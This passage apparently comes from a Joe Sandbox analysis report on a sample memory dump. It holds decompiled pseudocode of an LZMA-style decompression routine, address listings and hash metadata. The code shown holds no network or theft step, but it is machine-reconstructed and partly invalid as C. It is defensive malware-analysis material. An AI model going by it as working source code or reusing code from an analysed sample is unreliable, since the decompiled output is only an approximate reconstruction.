													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														L118:
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													L113:
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														L117:
														goto L109;
													}
												}
												L103:
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													L106:
													goto L99;
												}
											}
											L96:
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L162:
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											L57:
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L163:
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											L77:
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												L124:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L127:
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											L167:
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t539 = _t538 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00407194
0x00407194
0x00407194
0x00407194
0x0040719a
0x0040719e
0x004071a2
0x004071ac
0x004071ba
0x00407490
0x00407490
0x00407493
0x0040749a
0x004074c7
0x004074c7
0x004074cb
0x00000000
0x00000000
0x004074cd
0x004074d6
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074ee
0x00407507
0x0040750a
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074ff
0x00407502
0x00407502
0x00407524
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074cb
0x00000000
0x00000000
0x00000000
0x00407526
0x00407526
0x0040749f
0x004074a3
0x004075db
0x004075db
0x004075e5
0x004075ed
0x004075f4
0x004075f6
0x004075fd
0x00407601
0x00407601
0x004074a9
0x004074af
0x004074b6
0x004074be
0x004074be
0x004074c1
0x00000000
0x004074c1
0x0040752b
0x00407538
0x0040753b
0x00407447
0x00407447
0x00407447
0x00406be3
0x00406be3
0x00406be3
0x00406bec
0x00000000
0x00000000
0x00406bf2
0x00406bf2
0x00000000
0x00406bf9
0x00406bfd
0x00000000
0x00000000
0x00406c03
0x00406c06
0x00406c09
0x00406c0c
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c5c
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c5e
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x0040754e
0x00000000
0x0040754e
0x00406ca8
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406cca
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd2
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x0040755d
0x00000000
0x0040755d
0x00406d18
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040741c
0x00407420
0x004075cf
0x004075cf
0x00000000
0x004075cf
0x00407426
0x0040742c
0x00407433
0x0040743b
0x0040743e
0x00407441
0x00407441
0x00407447
0x00407447
0x00000000
0x00000000
0x00406d5f
0x00406d5f
0x00406d61
0x00406d64
0x00406dd5
0x00406dd5
0x00406dd8
0x00406ddb
0x00406de2
0x00406dec
0x00000000
0x00406dec
0x00406d66
0x00406d66
0x00406d6a
0x00406d6d
0x00406d6f
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d87
0x00406d8b
0x00406d92
0x00406d95
0x00406d9c
0x00406da0
0x00406da8
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406dac
0x00406daf
0x00406dcd
0x00406dcd
0x00406dcf
0x00000000
0x00406db1
0x00406db1
0x00406db1
0x00406db4
0x00406db7
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00000000
0x00406dc8
0x00000000
0x00406ffe
0x00406ffe
0x00407002
0x00407020
0x00407020
0x00407023
0x0040702a
0x0040702d
0x00407030
0x00407033
0x00407036
0x00407039
0x0040703b
0x00407042
0x00407043
0x00407045
0x00407048
0x0040704b
0x0040704e
0x0040704e
0x00407053
0x00000000
0x00407053
0x00407004
0x00407004
0x00407007
0x0040700a
0x00407014
0x00000000
0x00000000
0x00407068
0x00407068
0x0040706c
0x0040708f
0x00407092
0x00407095
0x0040709f
0x0040706e
0x0040706e
0x00407071
0x00407074
0x00407077
0x00407084
0x00407087
0x00407087
0x00000000
0x00000000
0x004070ab
0x004070ab
0x004070af
0x00000000
0x00000000
0x004070b5
0x004070b5
0x004070b9
0x00000000
0x00000000
0x004070bf
0x004070bf
0x004070c1
0x004070c5
0x004070c5
0x004070c8
0x004070cc
0x00000000
0x00000000
0x0040711c
0x0040711c
0x00407120
0x00407127
0x00407127
0x0040712a
0x0040712d
0x00407137
0x00000000
0x00407137
0x00407122
0x00407122
0x00000000
0x00000000
0x00407143
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x0040715d
0x0040715d
0x00407160
0x00407163
0x00407166
0x00407166
0x00407169
0x00407170
0x00407175
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00406df8
0x00406df8
0x00406dfc
0x00407569
0x00407569
0x00000000
0x00407569
0x00406e02
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e17
0x00406e1a
0x00406e1d
0x00406e1d
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e29
0x00406e2f
0x00000000
0x00000000
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e60
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e93
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406e9c
0x00406ea3
0x00406ea6
0x00000000
0x00406eac
0x00406eac
0x00000000
0x00406eac
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00407575
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed6
0x00406ed6
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f24
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f29
0x00406f30
0x00406f33
0x00000000
0x00406f35
0x00406f35
0x00000000
0x00406f35
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3a
0x00000000
0x00000000
0x00406f75
0x00406f75
0x00406f79
0x00407581
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f94
0x00406f97
0x00406f9a
0x00406f9a
0x00406fa0
0x00406f3e
0x00406f3e
0x00406f41
0x00000000
0x00406f41
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fbd
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fe8
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406fed
0x00406ff4
0x00406ff7
0x00000000
0x00406ff9
0x00406ff9
0x00000000
0x00406ff9
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x00000000
0x00000000
0x00407395
0x00407395
0x00407399
0x004073bb
0x004073bb
0x004073be
0x004073c8
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x0040739b
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00407490
0x00407493
0x0040749a
0x00000000
0x0040749d
0x00407458
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407543
0x00407546
0x00407447
0x00407447
0x00407447
0x00000000
0x0040744d
0x00000000
0x0040717d
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x0040749d
0x00000000
0x00000000
0x00000000
0x004071c2
0x004071c2
0x004071c5
0x004071fb
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x004075bd
0x00000000
0x004075bd
0x00407339
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725b
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x00407390
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x0040738e
0x004075c3
0x004075c3
0x00000000
0x00000000
0x00406bf2
0x004075fa
0x004075fa
0x00000000
0x004075fa
0x00407447
0x004074c7
0x00407490

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f3cc98df1e3ecd253cf91825a4064c55af45d063240f038e3dc270cc3f81a7c
Instruction ID: 10cc2cc0f2c892254e5285b7a8bac4c216a70fda8fb68dfa7c3680dd08f727d3
Opcode Fuzzy Hash: 9f3cc98df1e3ecd253cf91825a4064c55af45d063240f038e3dc270cc3f81a7c
Instruction Fuzzy Hash: 55A15571E04228DBDF28CFA8C8547ADBBB1FF44305F10842AD856BB281D778A986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00407395 Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407395() {
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int* _t605;
				void* _t612;

				L0:
				while(1) {
					L0:
					if( *(_t612 - 0x40) != 0) {
						 *(_t612 - 0x84) = 0x13;
						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x4c);
						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
						__ecx =  *(__ebp - 0x58);
						__eax =  *(__ebp - 0x4c) << 4;
						__eax =  *(__ebp - 0x58) + __eax + 4;
						L130:
						 *(__ebp - 0x58) = __eax;
						 *(__ebp - 0x40) = 3;
						L144:
						 *(__ebp - 0x7c) = 0x14;
						L145:
						__eax =  *(__ebp - 0x40);
						 *(__ebp - 0x50) = 1;
						 *(__ebp - 0x48) =  *(__ebp - 0x40);
						L149:
						if( *(__ebp - 0x48) <= 0) {
							__ecx =  *(__ebp - 0x40);
							__ebx =  *(__ebp - 0x50);
							0 = 1;
							__eax = 1 << __cl;
							__ebx =  *(__ebp - 0x50) - (1 << __cl);
							__eax =  *(__ebp - 0x7c);
							 *(__ebp - 0x44) = __ebx;
							while(1) {
								L140:
								 *(_t612 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t612 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
										case 0:
											if( *(_t612 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t534 =  *( *(_t612 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t569);
											_push(9);
											_pop(_t570);
											_t608 = _t538 / _t569;
											_t540 = _t538 % _t569 & 0x000000ff;
											asm("cdq");
											_t603 = _t540 % _t570 & 0x000000ff;
											 *(_t612 - 0x3c) = _t603;
											 *(_t612 - 0x1c) = (1 << _t608) - 1;
											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
											_t611 = (0x300 << _t603 + _t608) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
												L10:
												if(_t611 == 0) {
													L12:
													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t611 = _t611 - 1;
													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
												} while (_t611 != 0);
												goto L12;
											}
											if( *(_t612 - 4) != 0) {
												GlobalFree( *(_t612 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t612 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 1;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t45 = _t612 - 0x48;
											 *_t45 =  *(_t612 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t612 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t612 - 0x40);
											if(_t546 ==  *(_t612 - 0x74)) {
												L20:
												 *(_t612 - 0x48) = 5;
												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t612 - 0x74) = _t546;
											if( *(_t612 - 8) != 0) {
												GlobalFree( *(_t612 - 8));
											}
											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
											 *(_t612 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
											 *(_t612 - 0x84) = 6;
											 *(_t612 - 0x4c) = _t553;
											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 3;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											_t67 = _t612 - 0x70;
											 *_t67 =  &(( *(_t612 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L23:
											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
											if( *(_t612 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t605;
											_t588 = _t531 & 0x0000ffff;
											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
											if( *(_t612 - 0xc) >= _t564) {
												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
												 *(_t612 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												__eflags = _t532;
												 *_t605 = _t532;
											} else {
												 *(_t612 - 0x10) = _t564;
												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
												 *_t605 = (0x800 - _t588 >> 5) + _t531;
											}
											if( *(_t612 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 5;
												goto L170;
											}
											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L139:
											_t533 =  *(_t612 - 0x84);
											goto L140;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
